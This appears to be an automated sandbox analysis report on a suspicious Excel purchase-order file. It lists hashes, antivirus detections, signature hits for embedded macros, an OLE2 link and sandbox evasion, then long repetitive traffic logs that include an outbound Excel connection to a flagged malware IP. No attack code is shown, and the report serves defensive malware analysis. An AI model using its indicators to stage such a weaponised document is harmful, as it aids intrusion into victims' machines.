Edit tour

Windows Analysis Report
PO-ARJ-2025-15ACA.xla.xlsx

Overview

General Information

Sample name:	PO-ARJ-2025-15ACA.xla.xlsx
Analysis ID:	1639278
MD5:	9d0c7d82a1c18e1006e6075584652e83
SHA1:	68f97d343b3419df1b2d25c50c0d72d6af4fd59e
SHA256:	34954100e490a77310918573e56868e651855b54ddb0cc0dd334f55e8e195f14
Tags:	xlaxlsxuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Excel sheet contains many unusual embedded objects

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Unable to load, office file is protected or invalid

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 7940 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 4576 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

EXCEL.EXE (PID: 6556 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO-ARJ-2025-15ACA.xla.xlsx" MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 198.12.89.24, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7940, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49738, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7940, Protocol: tcp, SourceIp: 198.12.89.24, SourceIsIpv6: false, SourcePort: 80

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T08:55:54.980783+0100	2028371	3	Unknown Traffic	192.168.2.5	49741	13.107.246.60	443	TCP
2025-03-15T08:56:01.127852+0100	2028371	3	Unknown Traffic	192.168.2.5	49742	13.107.246.60	443	TCP
2025-03-15T08:56:01.169962+0100	2028371	3	Unknown Traffic	192.168.2.5	49743	13.107.246.60	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO-ARJ-2025-15ACA.xla.xlsx

Avira: detected

Multi AV Scanner detection for submitted file

Source: PO-ARJ-2025-15ACA.xla.xlsx	Virustotal: Detection: 43%			Perma Link
Source: PO-ARJ-2025-15ACA.xla.xlsx	ReversingLabs: Detection: 38%

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49741 version: TLS 1.2

Source: global traffic

DNS query: name: otelrules.svc.static.microsoft

Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443

Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.5:49738
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.5:49738
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.5:49738
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.5:49738
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
